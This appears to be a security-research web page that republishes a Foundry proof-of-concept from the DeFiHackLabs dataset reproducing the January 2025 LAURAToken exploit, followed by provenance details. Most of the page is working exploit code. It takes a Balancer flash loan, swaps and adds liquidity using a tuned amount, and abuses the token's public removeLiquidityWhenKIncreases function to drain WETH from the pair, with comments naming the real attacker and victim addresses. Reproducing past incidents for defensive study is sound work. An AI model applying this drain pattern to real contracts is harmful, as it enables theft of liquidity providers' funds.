Public reproduction file
src/test/2025-01/LAURAToken_exp.sol
Public reproduction file for dataset entry LAURAToken.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";5import "../interface.sol";7// Happy New Year8// @KeyInfo - Total Lost : 12.340357077284305206 ETH (~$41.2K USD)9// Attacker : https://etherscan.io/address/0x25869347f7993c50410a9b9b9c48f37d79e12a3610// Attack Contract 0 : https://etherscan.io/address/0x2cad84c3d2e31bc6d630229901f421e6da5557ef11// Attack Contract 1 : https://etherscan.io/address/0x55877cf2f24286dba2acb64311beca39728fbd1012// Vulnerable Contract : https://etherscan.io/token/0x05641e33fd15baf819729df55500b07b82eb8e8913// Attack Tx : https://etherscan.io/tx/0xef34f4fdf03e403e3c94e96539354fb4fe0b79a5ec927eacc63bc04108dbf42014// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)16// Contracts involved17address constant uniV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;18address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;19address constant pairLAURA_WETH = 0xb292678438245Ec863F9FEa64AFfcEA887144240;20address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;21uint256 constant LOAN_AMOUNT = 30000 ether;23// This amount is used when calling `swapExactTokensForTokensSupportingFeeOnTransferTokens` and `addLiquidity` 24// from the uniV2Router25// It is enough so that when the `removeLiquidityWhenKIncreases` function of the LAURA contract is called,26// the LAURA balance of the WETH/LAURA pair will go down enough to be able to steal all the WETH from the pair27uint256 constant MAGIC_NUMBER = 11526249223479392795400;29contract LAURAToken_exp is Test {30 address attacker = makeAddr("attacker");32 function setUp() public {33 vm.createSelectFork("mainnet", 21_529_888 - 1);34 }36 function testPoC() public {37 vm.startPrank(attacker);38 AttackerC0 attC0 = new AttackerC0();40 console.log("Final balance in ETH :", address(attC0).balance);41 }42}44contract AttackerC0 {45 constructor () {46 AttackerC1 attC1 = new AttackerC1(); // L0148 attC1.attack();// L0449 }51 receive() external payable {}52}54contract AttackerC1 {55 constructor () {56 IFS(weth).approve(uniV2Router, type(uint256).max); // L0257 }59 function attack() external {60 address LAURA = IFS(pairLAURA_WETH).token0(); // L561 // IFS(pairLAURA_WETH).token0(); // L662 IFS(LAURA).approve(uniV2Router, type(uint256).max); // L764 // L1065 address[] memory tokens = new address[](1);66 tokens[0] = weth;67 uint256[] memory amounts = new uint256[](1);68 amounts[0] = LOAN_AMOUNT;69 IFS(balancerVault).flashLoan(70 address(this),71 tokens,72 amounts,73 hex'000000000000000000000000b292678438245ec863f9fea64affcea887144240' // pairLAURA_WETH74 );76 uint256 bal0 = IERC20(weth).balanceOf(address(this)); // L11278 IFS(weth).withdraw(bal0); // L11380 (bool success,) = msg.sender.call{value: bal0}(""); // L11681 require(success, "Not success");82 }84 function receiveFlashLoan(85 IERC20[] memory,86 uint256[] memory,87 uint256[] memory,88 bytes memory89 ) external {90 address LAURA = IFS(pairLAURA_WETH).token0(); // L1691 //address weth = pairLAURA_WETH.token1(); // L1792 uint256 bal0 = IERC20(weth).balanceOf(address(this)); // L1893 uint256 bal1 = IERC20(weth).balanceOf(pairLAURA_WETH); // L1995 // L2096 address[] memory path = new address[](2);97 path[0] = weth;98 path[1] = LAURA;99 IFS(uniV2Router).swapExactTokensForTokensSupportingFeeOnTransferTokens(100 MAGIC_NUMBER, // amountIn101 0, // amountOutMin102 path, // path103 address(this), // to104 type(uint256).max105 );107 uint256 bal2 = IERC20(LAURA).balanceOf(address(this)); // L38109 IFS(uniV2Router).addLiquidity( // L40110 LAURA,111 weth,112 bal2,113 MAGIC_NUMBER,114 0,115 0,116 address(this),117 type(uint256).max118 );120 IFS(LAURA).removeLiquidityWhenKIncreases(); // L57121 IFS(pairLAURA_WETH).approve(uniV2Router, type(uint256).max); // L66122 uint256 bal3 = IERC20(pairLAURA_WETH).balanceOf(address(this)); // L68124 IFS(uniV2Router).removeLiquidity( // L69125 LAURA,126 weth,127 bal3,128 0,129 0,130 address(this),131 type(uint256).max132 );134 uint256 bal4 = IERC20(LAURA).balanceOf(address(this)); // L88136 // L90137 path[0] = LAURA;138 path[1] = weth;139 IFS(uniV2Router).swapExactTokensForTokensSupportingFeeOnTransferTokens(140 bal4,141 0,142 path,143 address(this),144 type(uint256).max145 );146 IFS(weth).transfer(balancerVault, LOAN_AMOUNT); // L108147 }149 receive() external payable {}150}152interface IFS is IERC20 {153 // LAURA154 function removeLiquidityWhenKIncreases() external;156 // WETH157 function withdraw(158 uint256 wad159 ) external;161 // UniswapV2Pair162 function token0() external view returns (address);163 function token1() external view returns (address);165 // BalancerVault166 function flashLoan(167 address recipient,168 address[] memory tokens,169 uint256[] memory amounts,170 bytes memory userData171 ) external;173 // IUniswapV2Router02174 function swapExactTokensForTokensSupportingFeeOnTransferTokens(175 uint256 amountIn,176 uint256 amountOutMin,177 address[] memory path,178 address to,179 uint256 deadline180 ) external;182 function addLiquidity(183 address tokenA,184 address tokenB,185 uint256 amountADesired,186 uint256 amountBDesired,187 uint256 amountAMin,188 uint256 amountBMin,189 address to,190 uint256 deadline191 ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);193 function removeLiquidity(194 address tokenA,195 address tokenB,196 uint256 liquidity,197 uint256 amountAMin,198 uint256 amountBMin,199 address to,200 uint256 deadline201 ) external returns (uint256 amountA, uint256 amountB);202}Analysis
Dataset entry
Public Foundry test for “LAURAToken” (2025-01-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-01/98Token_exp.solSame month in the dataset · 53 lines
- src/test/2025-01/AIXBTForcedSwap_exp.solSame month in the dataset · 260 lines
- src/test/2025-01/Ast_exp.solSame month in the dataset · 111 lines
- src/test/2025-01/HORS_exp.solSame month in the dataset · 92 lines
- src/test/2025-01/IdolsNFT_exp.solSame month in the dataset · 81 lines
- src/test/2025-01/IPC_exp.solSame month in the dataset · 105 lines
- src/test/2025-01/JPulsepot_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/LPMine_exp.solSame month in the dataset · 96 lines
- src/test/2025-01/MCAI_exp.solSame month in the dataset · 89 lines
- src/test/2025-01/Mosca_exp.solSame month in the dataset · 75 lines
- src/test/2025-01/Mosca2_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/ODOS_exp.solSame month in the dataset · 68 lines
- src/test/2025-01/Paribus_exp.solSame month in the dataset · 188 lines
- src/test/2025-01/RoulettePotV2_exp.solSame month in the dataset · 72 lines
- src/test/2025-01/sorraStaking.solSame month in the dataset · 72 lines
- src/test/2025-01/Unilend_exp.solSame month in the dataset · 157 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x25869347f7993c50410a9b9b9c48f37d79e12a36
- Attack Contract
0x2cad84c3d2e31bc6d630229901f421e6da5557ef
- Attack Contract
0x55877cf2f24286dba2acb64311beca39728fbd10
- Vulnerable Contract
0x05641e33fd15baf819729df55500b07b82eb8e89
- Attack Tx
0xef34f4fdf03e403e3c94e96539354fb4fe0b79a5ec927eacc63bc04108dbf420
- Explorer: https://etherscan.io/address/0x25869347f7993c50410a9b9b9c48f37d79e12a36
- Explorer: https://etherscan.io/address/0x2cad84c3d2e31bc6d630229901f421e6da5557ef
- Explorer: https://etherscan.io/address/0x55877cf2f24286dba2acb64311beca39728fbd10
- Explorer: https://etherscan.io/token/0x05641e33fd15baf819729df55500b07b82eb8e89
- Reference: https://twitter.com/rotcivegaf
File record
- Name
- LAURAToken
- Path
- src/test/2025-01/LAURAToken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4c609e75817935fd6d4ec37eaca61a3b563500db
- Language
- Solidity
- Size
- 204 lines
- Date
- 2025-01-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-01/LAURAToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4c609e75817935fd6d4ec37eaca61a3b563500db, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.